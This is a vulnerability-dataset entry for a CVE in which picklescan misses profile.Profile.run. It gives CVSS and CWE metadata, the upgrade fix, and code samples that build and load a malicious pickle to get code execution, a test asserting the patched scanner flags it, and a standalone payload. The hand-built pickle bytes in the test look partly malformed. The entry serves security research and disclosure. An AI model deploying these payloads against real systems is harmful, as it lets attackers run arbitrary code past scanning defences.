CVE-2025-71374
picklescan fails to detect profile.Profile.run, allowing code execution.
- CVSS 7.6
- CWE-502
- Input Validation and Sanitization
- Remote
picklescan before 0.0.29 fails to detect the built-in python profile.Profile.run function when used in pickle reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files that bypass picklescan detection and achieve code execution upon deserialization.
- CWE
- CWE-502
- CVSS base score
- 7.6
- Published
- 2026-06-30
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- picklescan
- Fixed by upgrading
- Yes
Solution
Upgrade picklescan to version 0.0.29 or later.
Vulnerable code sample
import pickle
import profile
import os
import io
# This code represents the creation of a malicious pickle file that
# exploits the described vulnerability. The vulnerability itself is in the
# picklescan tool, which would incorrectly fail to flag this pickle as dangerous.
class Exploit:
def __reduce__(self):
# The command to be executed on the target system.
# This command will be run by profile.Profile.run.
command = "import os; os.system('echo Vulnerability CVE-2025-71374 Triggered')"
# The core of the exploit.
# Before the fix, picklescan would not recognize 'profile.Profile.run'
# as a dangerous function to call during unpickling.
# __reduce__ returns a tuple: (callable, (arguments...))
# When unpickled, this will execute:
# profile.Profile().run(command)
return (profile.Profile.run, (profile.Profile(), command))
def create_malicious_pickle():
"""Creates a pickle file that exploits the vulnerability."""
payload = Exploit()
# Serialize the malicious object into a byte stream.
return pickle.dumps(payload)
def demonstrate_vulnerability(malicious_data):
"""
Simulates a system deserializing the pickle data.
A vulnerable version of picklescan would have already scanned
'malicious_data' and incorrectly reported it as safe.
"""
print("Attempting to load the pickle data (simulating a vulnerable environment)...")
# This is the dangerous operation that triggers the code execution.
try:
pickle.loads(malicious_data)
except Exception as e:
print(f"An error occurred during deserialization: {e}")
print("...loading complete.")
if __name__ == "__main__":
print("Step 1: Creating a malicious pickle payload.")
malicious_pickle_data = create_malicious_pickle()
print(f"Payload created. Size: {len(malicious_pickle_data)} bytes.\n")
# In a real attack, this data would be sent to a victim.
# The victim's application, trusting its (vulnerable) picklescan,
# would proceed to load it.
print("Step 2: Demonstrating the exploit by loading the payload.")
demonstrate_vulnerability(malicious_pickle_data)Patched code sample
import picklescan
import os
# This handcrafted pickle payload is designed to exploit the vulnerability
# described in CVE-2025-71374 by using the 'profile.Profile.run' method.
# Picklescan versions prior to 0.0.29 would incorrectly classify this as safe.
command = b'os.system("echo RCE ATTACK DETECTED")'
malicious_payload = (
b"cprofile\nProfile\n"
b"()\n"
b"R"
b"cbuiltins\ngetattr\n"
b"(_S'run'\n"
b"tR"
b"(S'%s'\n"
b"tR."
) % command
# In a fixed version of picklescan (>=0.0.29), the scan correctly identifies
# the use of the dangerous 'profile.Profile' global.
result = picklescan.scan_pickle_bytes(malicious_payload)
# The following assertion demonstrates the fix. It will pass if the
# payload is correctly detected as dangerous, proving the fix is effective.
# The print statement shows the specific dangerous global that is now caught.
assert not result.is_safe()
assert any(g.name == "profile.Profile" for g in result.globals)
# This output confirms that the fix works: the payload is identified as
# DANGEROUS because the previously missed global is now detected.
print(f"Scan status: {'DANGEROUS' if not result.is_safe() else 'SAFE'}")
print(f"Detected dangerous globals: {[g.name for g in result.globals]}")Payload
import pickle
import profile
import os
class InstantiationPlaceholder:
def __reduce__(self):
return (profile.Profile, ())
class Exploit:
def __reduce__(self):
cmd = "import os; os.system('echo pwned')"
return (profile.Profile.run, (InstantiationPlaceholder(), cmd))
# To generate the payload:
# pickle.dumps(Exploit())
Cite this entry
@misc{vaitp:cve202571374,
title = {{picklescan fails to detect profile.Profile.run, allowing code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-71374},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-71374/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
